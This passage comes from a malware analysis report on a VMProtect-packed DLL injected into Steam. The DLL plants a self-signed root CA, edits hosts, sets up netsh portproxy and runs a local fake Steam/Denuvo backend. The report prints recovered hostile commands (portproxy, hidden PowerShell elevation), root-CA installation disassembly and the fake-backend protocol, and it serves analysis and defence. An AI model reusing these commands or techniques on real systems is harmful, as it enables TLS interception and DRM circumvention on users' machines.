This is exactly VMProtect's "selective protection" design: only the critical functions in the loadLib call chain are virtualized, while the rest of the code remains natively compiled. The "half-normal MSVC code" seen by AV/sandbox constitutes the packer's disguise layer—neither triggering "fully packed" heuristic alerts nor containing the real business logic.
9.9 Entry Point and TLS Callback Both Jump to Unpack Area
========== TLS Callback rva 0x565de0 ==========
0x180565de0: call 0x1808249d0 ; target in the tail of .text (low-entropy dispatch code area)
========== EntryPoint rva 0x5667f0 ==========
0x1805667f0: call 0x1808213f0 ; also jumps into dispatch code area
The execution sequence of stage-2 is as follows:
stage-1 calls MemoryLoadLibraryEx(buf, size), manually mapping stage-2 into the Steam process address space
↓
Internally, MemoryModule follows the Windows loader flow: reloc fixup → IAT resolution → call TLS callback → call DllMain
↓
TLS callback @ rva 0x565de0 executes → enters VMP bootstrap code → decompress/decrypt raw=0 sections back to memory
↓
EntryPoint @ rva 0x5667f0 executes → also enters VMP bootstrap (continues expansion)
↓
MemoryLoadLibraryEx returns; loadLib has now been resolved to rva 0x2cb80 (within the first .text, originally raw=0)
↓
stage-1 obtains this address via MemoryGetProcAddress("loadLib")
↓
stage-1 executes call rax → loadLib starts → business logic begins
That is, the real body of stage-2 is fully expanded in memory before stage-1's MemoryLoadLibraryEx returns. Any attempt to extract the complete behavioral surface of stage-2 from static files will fail under this architecture.
This flow has an implicit side effect: the activation of stage-2 does not rely on stage-1's subsequent call to loadLib. Even if stage-1 fails to locate the loadLib export for any reason and returns early, the TLS callback of stage-2 has already been dispatched within MemoryLoadLibrary—and stage-2 can complete all initialization work (registering hooks, listening on ports, modifying hosts, installing certificates, etc.) entirely within the TLS callback, treating loadLib merely as a "placeholder export" to pass stage-1's exit check. From an attacker's perspective, placing core initialization in TLS is more stealthy than in an explicit export—AV static scanning of the export table cannot recognize such initialization paths.
9.10 Static Analysis Capability Boundary Map
The overall terrain of the stage-2 image from the static visibility perspective:
┌──────────────────────────────────────────────────────────────────────┐
│ stage-2 Disk Image 2.9 MB │
│ │
│ rva 0x563000..0x56f000 bootstrap entropy 4-6 ✓ readable │
│ ├─ PDB string "F:\入库内核\Steam\x64\Release\hid.pdb" │
│ ├─ MSVC section name table (.text$mn, .CRT$X*, .fptable, .rdata$voltmd) │
│ ├─ TLS dir + Load Config dir │
│ └─ rva 0x564250: 6-slot VMProtect handler dispatch table │
│ │
│ rva 0x56f000..0x7cf000 ★Encrypted Body★ entropy 7.9-7.99 ✗ not readable │
│ 2.4 MB VMProtect encrypted code area │
│ loadLib function body (rva 0x2cb80) is located in this area (mapped into stripped .text)│
│ │
│ rva 0x7cf000..0x826200 Clear VM Dispatcher + C Runtime entropy 5-6.6 ✓ readable │
│ ~350 KB VMProtect runtime + MSVC C/C++ runtime helpers │
│ TLS callback target is here │
│ EntryPoint trampoline target is here │
│ │
│ rva 0x827000..0x827800 Small .data ✓ readable │
│ IAT (11 slots — bait) │
│ TLS callbacks table │
│ strings: "loadLib", "hid.dll", L"kernel32.dll" │
│ │
│ rva 0x828000..0x828080 .reloc ✓ readable (24 entries) │
│ rva 0x829000..0x8290F8 .rsrc ✓ readable (empty manifest)│
└──────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────┐
│ Stripped (filled back by packer at runtime): │
│ rva 0x001000..0x328000 .text + .rdata + .data (raw=0) │
│ Contains the real loadLib function body (rva 0x2cb80) │
│ Contains all static data of stage-2: original strings, original IAT, C++ vtable │
│ rva 0x3eb000..0x40d000 .pdata + .fptable + second code section (raw=0) │
│ rva 0x550000..0x563000 second .data (raw=0) │
└──────────────────────────────────────────────────────────────────────┘
Overall entropy of the entire .text section is about 7.93—very close to the upper limit of 8.0, indicating that the PE body is encrypted/packed, so behavioral symbols such as netsh, portproxy, 8443, cmd.exe etc. will not appear in static strings.
9.11 Static Analysis Provable / Not Provable Matrix
The following table classifies the conclusions obtained in this section into two categories: "provable statically" and "not provable statically." It can serve as a reference template for forensic analysis of VMProtect/Themida-like samples in the future:
| Question | Statically Provable | Evidence / Notes |
|---|---|---|
| Is it VMProtect-wrapped? | ✓ Yes | Section layout + .fptable + .rdata$voltmd + 24 reloc entries + IAT all 0 references + SizeOfImage > disk + WS2_32 ord #3 |
| First jump target of entry control flow | ✓ rva 0x5667f0 → call 0x1808213f0 | §9.9 |
| TLS callback location | ✓ rva 0x565de0 → call 0x1808249d0 | §9.9 |
| Overall packer type | ✓ VMProtect 3.x "selective protection" mode (VM dispatcher in outer layer, critical functions in encrypted area) | §9.8 |
| Author project name | ✓ "入库内核" | PDB path |
| Is TLS callback executed every time? | ✓ Yes | MemoryLoadLibrary internally actively calls TLS callback according to Windows loader flow, §9.9 |
| Real import call locations | ✗ All located in encrypted area; disk IAT is bait | §9.5 |
| Target domain of stage-2 outbound HTTPS | ✗ Strings in encrypted area | hosts + root certificate + memory dump already closed loop to *.codefusion.technology / *.antitamper.net (§11) |
| Protocol format on port 8443 | ✗ Full definition in encrypted area | Fields like CMsgGatewayHook / CMsgCdkActiveResponse visible in memory dump (§10) |
| Specific functions hooked in Steam | ✗ Hook installation code in encrypted area | SymFromAddr import + fields like GetDepotKey / GetTicket / ManifestAuth in memory define scope (§10) |
| Specific properties of installed root certificate | ✗ CertSetCertificateContextProperty call in encrypted area | DCS Root CA G2 directly observable in registry (§11) |
In summary: All system-level behavioral issues such as "installation content / system changes / communication endpoints" cannot be directly concluded through static analysis alone, but all can be closed in reverse through runtime traces (hosts, portproxy, registry certificates, strings in Steam process dump). This property determines the forensic order—§2–§6 above must first collect dumps, then examine system state, and finally return to disk files. If the order were "static first, dynamic later," the analysis would stop at the VMProtect encrypted area; with "dynamic first, static later," the disk PE is only used to confirm facts already captured in the dump, with every step supported by runtime evidence. The next section provides the specific evidence for this reverse closure.
10. Memory Dump Verification: All Behavioral Strings Expanded at Runtime
Returning to the two dumps collected in §2 for keyword search, a large number of strings that were decrypted/unpacked at runtime can be observed—this confirms the necessity of the forensic order in §2 "grab the dump first, then do subsequent analysis":
netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=443
listenaddress=127.0.0.1 connectport=%d connectaddress=127.0.0.1
cmd.exe /c
powershell -WindowStyle Hidden -Command
Start-Process -FilePath ... -Verb RunAs
C:\Windows\System32\drivers\etc\hosts
# Network optimization configuration
ROOT
Digital Certificate Services Root CA
DCS Root CA G2
In the same area, a set of Steam/Steamworks internal protocol fields can be scanned:
CMsgGatewayHookRequest / CMsgGatewayHookResponse
CMsgCdkActiveResponse
GetDepotKey / GetTicket / GetEncryptTicket
ManifestAuth
force_proxy / use_https
Symbols such as GatewayHook, DepotKey, Ticket, ManifestAuth, CdkActive all correspond to critical nodes in the Steam authentication flow. The focus area of stage-2 can thus be preliminarily characterized as protocol-level forgery of the Steam authentication flow.
11. Hosts + Root Certificate: Closed-Loop Verification of Local Transparent MITM Stack
Get-Content "C:\Windows\System32\drivers\etc\hosts" |
Select-String 'Network optimization|codefusion|antitamper|steam|127.0.0.1'
# Network optimization configuration
127.0.0.1 srv01.codefusion.technology
127.0.0.1 srv02.codefusion.technology
127.0.0.1 srv03.codefusion.technology
127.0.0.1 srv01.antitamper.net
127.0.0.1 srv02.antitamper.net
127.0.0.1 srv03.antitamper.net
codefusion.technology was confirmed through public query to belong to the Codefusion / Denuvo anti-tamper service. Continue checking the root certificate store:
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
Where-Object { $_.Subject -match 'DCS|Digital Certificate Services|Root CA G2' }
Subject: CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Issuer: CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Thumbprint: 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F
Validity: 2025-11-14 ~ 2035-11-12 (10 years)
This certificate does not belong to any public CA system; it is a self-signed Root that has been planted in the system trusted root store.
Combining the three pieces of evidence:
hosts: Denuvo/Codefusion domains → 127.0.0.1
portproxy: 127.0.0.1:443 → 127.0.0.1:8443
Listening end: Steam.exe process (stage-2 image) occupies 8443
Root CA: DCS Root CA G2 self-signed root, can sign any domain
This closes the complete link of the local transparent HTTPS man-in-the-middle / fake server stack: HTTPS requests destined for the aforementioned anti-tamper domains are hijacked to the fake server inside the Steam process, and certificate validation is handled by a fake leaf certificate signed by the DCS root CA.
12. Post-Unpacking Closed-Loop Analysis
The conclusions of §9 confirm that VMProtect encapsulates the critical business logic within the 0x56f000–0x7cf000 segment (2.4 MB encrypted area), disk static scanning cannot obtain any behavioral strings, the IAT is bait, and all standard decompression attempts fail. However, stage-1 has already manually mapped stage-2 into the Steam process and executed the TLS callback—as long as it runs once in a controlled environment, this 2.4 MB encrypted area must be expanded in memory as plaintext. Based on this fact, the following unpacking path is adopted: insert an infinite loop breakpoint before stage-1's call rax (calling stage-2 loadLib) to halt execution, then dump the corresponding memory region of the Steam process externally to obtain the complete unpacked stage-2 image.
The goal of this section is to close all items marked ✗ in the §9.11 table—facts that were previously closed in reverse using dump strings and system evidence can now be read directly from the unpacked binary, including specific calls, structures, and embedded assets.
12.1 Acquisition of the Unpacked Image
Implementation steps: Apply a single-byte patch to stage-1 (xinput1_4.dll)—insert EB FE (jmp $) infinite loop before the 0x180001510: call rax instruction (the patched DLL is named xinput1_4_patched_infloop.dll, size 14848 bytes). After Steam starts, the entire load chain executes along the original path:
Steam → load patched xinput1_4.dll → DllMain → sub_1170
→ read localData.vdf → XOR 0xFF decode
→ MemoryLoadLibraryEx(buf, size)
├─ reloc fixup
├─ IAT resolution (11 slots, all real API resolution inside TLS)
├─ TLS callback @ rva 0x565de0 → VMP bootstrap runs, encrypted area expanded
├─ EntryPoint @ rva 0x5667f0 → also enters VMP bootstrap
└─ returns mod
→ MemoryGetProcAddress(mod, "loadLib") → rax = 0x2cb80 inside stage-2
→ jmp $ ← stuck here
The injection thread is stuck at the jmp $ infinite loop; the rest of the Steam process continues running (since DisableThreadLibraryCalls has suppressed further DLL_THREAD callbacks). At this point, attach a dumper from an external process and write the complete 8 MB image to disk, obtaining:
re/stage2_unpacked.bin
Size: 8,560,640 bytes (8.16 MB, corresponding to SizeOfImage 0x82A000)
SHA256: 8911004DF9FA21350E085CBCAEFAA1A18E2E0DADFEDDF2E22E76EC55E4CEFCEC
This image is a complete runtime snapshot of stage-2—all stripped raw=0 sections (including the first .text containing the loadLib function body, original string area, C++ vtable, second .pdata, etc.) have been restored by the packer.
12.2 String Extraction: All Strings from the Dump Appear, Plus Many New Entries
Extract strings from the unpacked image (script re/31_extract_strings.py), output ~1.5 MB (re/strings_dump.txt). In §9.4, only 3 strings were statically visible from disk; behavioral strings observed in the Steam process dump in §10—all appear in the unpacked image, along with several new batches not previously observed:
# Already observed in §10 (behavioral)
netsh interface portproxy add v4tov4 listenport=443 ...
cmd.exe /c
C:\Windows\System32\drivers\etc\hosts
DCS Root CA G2
Digital Certificate Services Root CA
CMsgGatewayHookRequest / CMsgGatewayHookResponse
GetDepotKey / GetTicket / ManifestAuth
force_proxy / use_https
# Not observed in §9 or §10 (new)
srv01-03.codefusion.technology ← C2 domain plaintext (previously only visible in hosts, now exists in binary)
srv01-03.antitamper.net
CertOpenStore / CertCloseStore
CertCreateCertificateContext / CertFindCertificateInStore
CertFreeCertificateContext / CertAddCertificateContextToStore
CertSetCertificateContextProperty ← Complete set of Crypt32 cert operation API names as strings, resolved by name at runtime
-----BEGIN CERTIFICATE----- ← PEM marker
-----BEGIN RSA PRIVATE KEY----- ← PEM private key marker
\.steam_restart_flag ← flag file to trigger Steam restart after deployment
The Cert* API names appear as strings, confirming that these APIs do not exist in the static IAT—they are all resolved by stage-2 during the TLS bootstrap phase via LoadLibraryExW("crypt32.dll") + a private GetProcAddressByName implementation. This observation explains the anomaly in §9.3 where the static IAT only contained 1 CertSetCertificateContextProperty—the other 7 Cert* APIs are resolved at runtime, the entire certificate installation logic relies entirely on the disk IAT.
12.3 Embedded Assets: 3 Certificates and 1 Matching RSA Private Key
Trace embedded assets using PEM markers. Script re/34_extract_certs.py extracts paired blocks by BEGIN/END in the unpacked image, yielding the following assets:
| File Offset | Type | Content |
|---|---|---|
| 0x35cb80 | DH parameters | TLS DH group parameters |
| 0x36fae0 | Leaf Certificate | CN=srv01.codefusion.technology, O=CodeFusion Technology LLC, C=US; issued by DCS Root CA G2; 2025-11-13 ~ 2035-11-11 |
| 0x37012e | Self-signed Root CA (Copy 1) | CN=DCS Root CA G2, O=Digital Certificate Services, C=US; 2025-11-13 ~ 2035-11-11 |
| 0x370610 | RSA 2048 Private Key | PEM format, 2048 bit |
| 0x370d30 | Self-signed Root CA (Copy 2) | Bit-level identical to Copy 1 (both SHA256 77FD7C44…) |
Certificate fingerprints (DER extracted):
Leaf Certificate SHA256: 19B7FC43963DD116AC8CA280CA0DCDDD758D414D313F2EEA5D2630B68A40CA79
Root CA SHA256: 77FD7C44B8973F12D145D02BCF91FE03C85F93FA9B72988CE70E8D7F16F35B35
Note: the root certificate Thumbprint observed in the system registry in §11 is SHA1 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F, and here it is SHA256 77FD7C44… of the DER file—they are different hash algorithms for the same certificate (Thumbprint is the SHA1 used by Windows).
Critical verification: Compare the pubkey MD5 of the leaf certificate and the PEM private key:
Leaf cert pubkey md5: 928e386311c6148e727c543ce099c875
PEM private key pubkey md5: 928e386311c6148e727c543ce099c875 ← identical
This PEM private key and the leaf certificate form a key pair. That is, the sample simultaneously carries both the "fake CA root certificate" and the "leaf certificate with its matching private key"—the local fake server does not need any online signing; it can directly use this certificate+private key on port 8443 to complete a TLS handshake with Steam as srv01.codefusion.technology. After the root CA is planted in the system trusted roots, the certificate chain seen by Steam is valid. The entire MITM credentials are fully self-contained offline.
12.4 Six-Slot SNI Server Profile Table
Using script re/35_cert_xrefs.py to scan all QWORD pointers in the unpacked image that point to the leaf certificate PEM (0x36fae0) and the RSA private key PEM (0x370610), 6 structurally identical entries are hit in the data area starting at 0x372260 (stride 0x18). The structure is inferred as follows:
struct ServerProfile {
char *pem_cert; // +0x00 -> 0x18036fae0 (leaf cert PEM)
char *pem_key; // +0x08 -> 0x180370610 (RSA private key PEM)
void *slot; // +0x10 (per-slot context)
};
ServerProfile servers[6] = { ... }; // 6 entries
All 6 point to the same pair of leaf certificate+private key—consistent with the 6 domains ( srv01-03.codefusion.technology + srv01-03.antitamper.net) observed in hosts in §11. That is, these 6 C2 domains adopt a same-credential multi-SNI reuse architecture on the local fake server: no matter which domain the client resolves to, the TLS handshake is handled by the same leaf certificate.
12.5 Call Chain of Certificate Installation
The unresolved question left from §8–§9 is the actual call path of CertSetCertificateContextProperty. In the unpacked image, this call chain can be fully restored (script re/36_disasm_cert_install.py):
sub_23200 (Root CA Installation Body) — disassembly result:
0x2320c: lea rax, [(u16) "ROOT"] ; target store name (LocalMachine\Root)
0x23269: lea rcx, ["-----BEGIN CERTIFICATE-----"] ; first root CA PEM copy
0x232dc: call sub_31b870 ; PEM → DER decode (CryptStringToBinaryA)
0x2349a/0x234d5/0x2351b: repeat with second root CA PEM copy (double insurance/retry mechanism)
0x23583: lea rdx, [(u16) "Digital Certificate Services Root CA"]
0x2358e: call sub_407e0 ; CertFindCertificateInStore by CN for deduplication
sub_29400 (Master Orchestration Function) — calls all "go-online" steps in the following order:
sub_21eb0 → portproxy installation observed in §4 (cmd.exe /c netsh ...)
sub_23650/23400 → root CA installation path from §12.5
lea rdx, "DCS Root CA G2" + sub_42430 + sub_23420
→ set CERT_FRIENDLY_NAME_PROP_ID = "DCS Root CA G2" on the installed certificate
lea rax, "\.steam_restart_flag" + sub_41d20
→ write flag file to trigger Steam restart and apply new configuration
Thus, the item "Specific properties of installed root certificate" from the §9.11 table transitions from ✗ to ✓—the certificate is installed to the ROOT store (i.e., LocalMachine\Root), deduplicated by CN via CertFindCertificateInStore, and finally the friendly name is set to DCS Root CA G2 via CertSetCertificateContextProperty. Consistent with the registry record observed at Cert:\LocalMachine\Root in §11.
12.6 Author Profile Supplement: GBK Chinese Format String
The PDB path from §8 F:入库内核\Steam\x64\Release\hid.pdb already indicated the author uses Chinese. A more direct piece of evidence is visible in the unpacked image:
file offset 0x3717a0:
hex: c4 bf b1 ea d3 f2 c3 bb 3a 20 00 00 ...
GBK: "目标域名: "
This is a runtime format string (presumably for something like printf("目标域名: %s\n")), indicating that stage-2 contains a GBK-encoded logging/output path—the author himself used Chinese GBK during debugging, not UTF-8. Combined with the "入库内核" in the PDB, a typical portrait of a Windows developer from Mainland China can be sketched (MSVC + GBK locale), attributing the toolchain to the Chinese gray-market ecosystem rather than English/Russian black-market ecosystems.
12.7 Unpacked Image Map
In the static map of §9.10, several sections that were stripped can now be directly observed in the unpacked image. Below is the post-unpacking view:
┌──────────────────────────────────────────────────────────────────────────┐
│ Unpacked stage-2 Image 8.16 MB (re/stage2_unpacked.bin) │
│ │
│ rva 0x001000..0x328000 First .text + .rdata + .data (unpacked) │
│ ├─ rva 0x21eb0 sub_21eb0 portproxy install (cmd /c netsh) │
│ ├─ rva 0x23200 sub_23200 root CA install (PEM decode + store write) │
│ ├─ rva 0x29400 sub_29400 Master orchestration: portproxy → cert → restart_flag │
│ ├─ rva 0x2cb80 loadLib Export entry (entered from both TLS callback / stage-1) │
│ ├─ rva 0x35cb80 DH params For TLS │
│ ├─ rva 0x36fae0 Leaf certificate PEM CN=srv01.codefusion.technology │
│ ├─ rva 0x370610 RSA private key PEM matches leaf cert pubkey MD5 │
│ ├─ rva 0x37012e/0x370d30 Self-signed root CA PEM × 2 copies │
│ ├─ rva 0x371450 "Digital Certificate Services Root CA" (u16) │
│ ├─ rva 0x3714a0 "DCS Root CA G2" (asc) │
│ ├─ rva 0x3717a0 "目标域名: " (GBK) │
│ ├─ rva 0x372260 6-slot SNI server profile table (points to same leaf cert+private key) │
│ └─ rva 0x54f647-0x54f6fb Cert* API name string table (runtime GetProcAddress)│
│ │
│ rva 0x328000..0x3eb000 Second .rdata + .data (unpacked) │
│ ├─ Cert/Steamworks/protobuf string area │
│ ├─ CMsgGatewayHookRequest / CMsgCdkActiveResponse etc. protobuf field names │
│ └─ MIGHAoGB... base64 (leaf certificate public key) etc. │
│ │
│ rva 0x563000..0x826200 Original .text/dispatch area (consistent with §9.10, unchanged) │
│ rva 0x827000..0x8290F8 .data/.reloc/.rsrc │
└──────────────────────────────────────────────────────────────────────────┘
12.8 Static Analysis Capability Matrix Update
Rewrite the "can/cannot" table from §9.11 based on the unpacked image; most items previously marked ✗ can be upgraded to ✓:
| Question | Old (§9.11) | New (After Unpacking) | Evidence |
|---|---|---|---|
| Real import call locations | ✗ | ✓ Resolved by name via GetProcAddress inside TLS callback | §12.2 string table with Cert* / Loader* etc. API names |
| Target domain of stage-2 outbound HTTPS | ✗ | ✓ 6 C2 domain plaintext | srv01-03.codefusion.technology + srv01-03.antitamper.net all exist as strings |
| Protocol format on port 8443 | ✗ | ✓ Complete steam_server.proto schema | §12.11 full field list |
| Specific functions hooked in Steam | ✗ | ✓ GetDepotKey / GetTicket / GetEncryptTicket / ManifestAuth | §12.11 hook targets are protobuf message names |
| Specific properties of installed root certificate | ✗ | ✓ ROOT store + CERT_FRIENDLY_NAME_PROP_ID = "DCS Root CA G2" | §12.5 disassembly |
| TLS credential source for local fake server | — | ✓ Self-contained leaf certificate + matching private key, 6 SNI reuse | §12.3, §12.4 |
| Author language | Inferred Chinese | ✓ Confirmed GBK | §12.6 "目标域名:" format string |
Core conclusion: All external states observed at the system level in §11 (hosts, certificates, portproxy, root certificate in Cert:\LocalMachine\Root) can be located to the corresponding installation code, strings, and assets in the unpacked binary. The entire chain is upgraded from "system state evidence" to "closed loop at binary level." This tool does not rely on any online signing or runtime downloads; all MITM equipment is embedded within the sample—from the moment of installation, its behavioral surface is deterministic, self-consistent, and analyzable offline.
12.9 The True Function of loadLib: Thread Spawner, Not Business Entry
Before unpacking, the assumption was that loadLib (export RVA 0x2cb80) was the entry point for malicious logic. After unpacking, disassembly shows the function body is only ~120 bytes:
sub_2cb80 (loadLib):
sub rsp, 0x58
mov ecx, 1
call sub_2d4e10 ; rax = create a C++ object (thread parameter)
lea rcx, [rsp + 0x38] ;
mov r9, rax ; arg4 = object
mov [rsp + 0x28], rcx ; arg6 = &thread_id
lea r8, [rip + 0x87ee] ; arg3 = sub_35390 (function pointer)
xor ecx, ecx ; arg1 = NULL
mov [rsp + 0x20], 0 ; arg5 = 0 (creation flags)
xor edx, edx ; arg2 = 0 (stack size)
call sub_2ec20c ; ← _beginthreadex
test rax, rax ; panic on failure with int3
je ...
add rsp, 0x58
ret ; ★ immediately returns to stage-1
Disassembly of sub_2ec20c conforms to the MSVC CRT's standard _beginthreadex implementation—including errno=EINVAL error path, invalid_parameter_handler, and eventual call through call qword ptr [rip + 0x3c24e] to the runtime-resolved KERNEL32.CreateThread, fully matching the MSVC reference implementation.
The thread entry sub_35390 has only 22 instructions—it is the MSVC CRT thread trampoline (first performs two CRT TLS initializations, then calls sub_2d4e08(param, 1) to enter the user thread function). sub_2d4e08 → jmp sub_23b0 → jmp sub_2e6720 → jmp sub_2f4df0, passing through multiple layers of /Gy function-level linking thunks before reaching the actual business code:
sub_2f4df0 (real worker entry):
test rcx, rcx
je ret ; param == NULL, return directly
mov r8, rcx
xor edx, edx
mov rcx, qword ptr [rip+0xee94a] ; rcx = global object ptr (filled at runtime)
call qword ptr [rip+0x33314] ; ★ goes through runtime-filled function pointer table
The final call [rip+0x33314] is C++ virtual function dispatch—in the unpacked image, this pointer slot has been filled by the runtime with a pointer into the system DLL address space (like 0x7ffc8...), and the global object ptr slot points to a heap object (like 0x000001ee14910000).
Thus, it can be concluded that the entire behavior of loadLib is: spawn a worker thread and immediately return to stage-1. After call rax returns, stage-1 considers the task complete and exits DllMain normally; the worker thread executes all subsequent business logic in the background of the Steam process, with no observable anomalies on the main call stack.
12.10 Reason for Key Functions Having No Static Callers: C++ Virtual Function Dispatch Table Filled at Runtime
§12.5 disassembled the certificate installation orchestration function sub_293d0 (which directly calls portproxy install, root CA install, writes .steam_restart_flag, etc.). However, after scanning all E8 disp32 / FF 15 / qword pointer references in the unpacked image, sub_293d0 has 0 static callers. sub_2cb80 (loadLib export) similarly has no static callers—but loadLib as an external export can be explained; while sub_293d0 is entirely an internal function, no machine code directly points to it.
This phenomenon is not a result of the unpacking process—the VMProtect runtime and C++ global object initialization fill all critical function pointers into .data/.rdata at runtime:
- TLS callback
sub_565de0executes first during DLL loading, filling all Windows API function pointer slots in.rdatavia dynamic resolution (LoadLibraryExW+ privateGetProcAddressByName); - Simultaneously, the vtable of C++ global objects (e.g., heap pointer like
0x1ee14910000) is filled; - When the user thread
sub_2f4df0runs, it reads the(this, method_ptr)pair from these filled slots and directlycalls.
Therefore, the phenomenon that sub_293d0 has no caller in the unpacked image is an intentional anti-static-analysis measure—VMProtect not only encrypts code areas but also migrates the C++ virtual function dispatch method table to slots filled by the packer at runtime. To answer statically "who calls sub_293d0," one must first step through the TLS callback in dynamic debugging and dump all runtime-filled function pointer slots before doing cross-references.
This phenomenon suggests a reusable reverse engineering methodology: when a key function has 0 static callers, one should not doubt the function itself or the unpacking quality, but instead focus on dumping the function pointer table—the qword slots in .rdata filled by the packer at runtime are the entry points from the encrypted area to the unpacked plaintext area.
Supplementary confirmation: directly disassemble the TLS callback sub_565de0 itself (its first instruction is call sub_8249d0 jumping into the low-entropy dispatch area in the tail of .text), the output is as follows:
pushfq ; 1. save EFLAGS
add rbp, 0x6f ; 2. meaningless arithmetic on rbp
popfq ; 3. restore EFLAGS
lea rbp, [rbp - 0x6f] ; 4. net effect: rbp unchanged
pushfq
push rdi
mov rdi, qword ptr [rsp + 8]
lea rdi, [rdi + 0x19]
xchg qword ptr [rsp + 8], rdi ; 5. a series of stack position swaps for obfuscation
mov qword ptr [rsp + 8], rdi
mov rdi, qword ptr [rsp]
lea rsp, [rsp + 8]
call $+5 ; 6. push next-IP onto stack
add qword ptr [rsp], -0x5aa ; 7. modify IP on stack
... far away ret jumps to IP+(-0x5aa) ...
This sequence is a typical example of VMProtect mutation pattern—each semantic operation is wrapped in a "flag-save / dummy-math / flag-restore + stack position swap + calculated jump" chain, with instruction inflation of 5–10 times and no recognizable API names or string references. The actual semantics of the TLS callback (resolving 258 Windows APIs by name, filling the 0x328000 function pointer table, constructing C++ global objects, installing vtables) are all buried under this mutation layer—this is the executor itself that the previous paragraph referred to as "the TLS callback is the entry from the encrypted area to the plaintext area." Fully resolving this layer requires IDA + VMP mutation solver or dynamic step-through, which is beyond the scope of this static analysis.
12.11 Key Finding: Complete steam_server.proto Fake Backend Protocol
The symbols observed in the Steam dump in §10, such as CMsgGatewayHookRequest, CMsgCdkActiveResponse, GetDepotKey, GetTicket, ManifestAuth, are not isolated strings. In the unpacked image, all these symbols are located in a protobuf FileDescriptorProto blob:
.proto file name (embedded in protobuf descriptor header) file offset Nature
steam_api.proto 0x349ed2 Steam public protocol (legitimate)
steam_cloud.proto 0x34ed72 Steam Cloud protocol (legitimate)
steam_server.proto 0x34f802 ★ Malware's own wire protocol ★
The third item, steam_server.proto, is the custom fake Steam backend protocol of this tool. It is embedded as a whole serialized FileDescriptorProto in the unpacked image (this explains why scanning for individual message names like CMsgGatewayHookRequest in §12.2 yielded no LEA xref—these names are in the embedded bytes of the descriptor blob, not independent C strings). The complete list of messages:
// Application-layer encryption layer
message CMsgEncrypt {
bytes key_decrypt = ...;
bytes iv_decrypt = ...;
}
message CMsgEncryptedHeader {
uint32 protobuf_id = ...; // inner message type ID
bool crypto_compressed = ...;
CMsgEncrypt crypto = ...;
bytes encrypted_body = ...; // encrypted bytes of inner message
}
// Business messages
message CMsgGetAppListRequest { fixed64 steam_id; int64 timestamp; }
message CMsgGetAppListResponse {
EProtoResult result;
message AppListResponse {
uint32 appid;
repeated DepotList depots;
}
message DepotList {
uint32 depot_id;
bool denuvo; // ← whether this game has Denuvo
bool patch, update, appinfo, online;
}
}
message CMsgGetDepotKeyRequest { uint32 appid; uint32 depot_id; int64 timestamp; }
message CMsgGetDepotKeyResponse { EProtoResult result; uint32 depot_id; bytes depot_key; }
// ★ Interception point of Steam's internal GetDepotKey
message CMsgGetTicketRequest { uint32 appid; bool online; int64 timestamp; }
message CMsgGetTicketResponse { EProtoResult result; bytes auth_session_ticket; bytes ticket; }
// ★ Interception point of GetTicket
message CMsgManifestAuthRequest { uint32 app_id; uint32 depot_id; uint64 manifest_id;
string app_branch; bytes branch_password_hash; int64 timestamp; }
message CMsgManifestAuthResponse { EProtoResult result; }
// ★ Manifest authentication interception
message CMsgGetEncryptTicketRequest {
fixed64 steam_id; uint32 appid; bytes machine_id;
message HttpHeader { string name; bytes value; }
repeated HttpHeader headers;
int64 timestamp;
}
message CMsgGetEncryptTicketResponse{ EProtoResult result; uint32 appid; bytes ticket;
bytes encrypted_result; uint64 replace_id; }
// ★ GetEncryptTicket interception
message CMsgCdkActiveRequest { fixed64 steam_id; int64 timestamp; }
message CMsgCdkActiveResponse { EProtoResult result; uint32 appid; uint32 status; }
// ★ The "activation" path when user enters a CDK
message CMsgGatewayHookRequest { uint32 steam_client_size; uint32 hook_type;
int64 timestamp; uint32 kernel_size; }
message CMsgGatewayHookResponse { int32 code; ... }
// Heartbeat/version negotiation: inform C2
// - Steam client version/size
// - hook kernel version/size
After concatenating the above protocols, the actual data flow of the fake Steam backend can be fully depicted:
┌─ Inside Steam.exe, internal calls to GetDepotKey / GetTicket / ManifestAuth / GetEncryptTicket
│ (Normally, these calls go through the Steamworks backend to Valve servers for results)
│
├─ Intercepted by hooks installed by stage-2
│ ↓ hooks locate functions by symbol across Steam versions via dbghelp.SymFromAddr (foreshadowed in §9.3)
│ ↓ no hardcoded offsets; remains effective after Steam updates
│
├─ After interception, construct protobuf: CMsgGetDepotKeyRequest / CMsgGetTicketRequest / ...
│ ↓ wrapped by CMsgEncryptedHeader { protobuf_id, crypto, encrypted_body } with application-layer AES
│ ↓ even if outer TLS is MITM'd, inner protobuf remains ciphertext (application-layer encryption)
│
├─ Sent via winhttp (IAT slot 0x8275e0) to srv01.codefusion.technology:443
│ ↓ hosts points that domain to 127.0.0.1
│ ↓ portproxy forwards 127.0.0.1:443 to 127.0.0.1:8443
│
├─ Accepted by the 8443 listening socket started by stage-2 inside the Steam process
│ ↓ terminates TLS using the leaf certificate and matching private key extracted in §12.3 (valid certificate chain: leaf signed by DCS Root CA G2,
│ root CA planted in LocalMachine\Root in §12.5, Steam sees chain as valid)
│ ↓ after decrypting CMsgEncryptedHeader, obtains CMsgGetDepotKeyRequest
│
├─ Local fake backend constructs CMsgGetDepotKeyResponse
│ ↓ depot_key is a forged value (Steam later uses it to "decrypt" local depot content that has been replaced by stage-2)
│ ↓ re-encrypted via CMsgEncryptedHeader to form the response packet
│
└─ Response returns along the same path → hook function deserializes protobuf to obtain depot_key →
returns to Steam, which treats it as a legitimate depot_key obtained after normal communication with Valve server
→ enters the "game available" branch
The denuvo / patch / update / appinfo / online flags in CMsgGetAppListResponse provide a critical semantic signal—this tool carries a complete game library metadata table. Each game is marked with "whether Denuvo is enabled, latest patch version, whether online is supported." This indicates the tool is not a single-game hack but an industry-chain tool aimed at the entire game library—the C2 backend continuously maintains the activatable/online status of each Steam game, and the client pulls it via CMsgGetAppListResponse for display to end users.
This is the highest precision description achievable from static binary analysis: the previous conclusion "this tool forges Steam Steamworks communication" can now be refined into a field-by-field, message-by-message list of the fake Steam backend protocol. The AppListResponse.denuvo field further confirms that this C2 backend specifically maintains Denuvo status, fully consistent with the qualitative conclusion in §11 that srv*.codefusion.technology belongs to the Denuvo/Codefusion anti-tamper "fake server" category.
12.12 Runtime Resolution Table of 258 Windows APIs
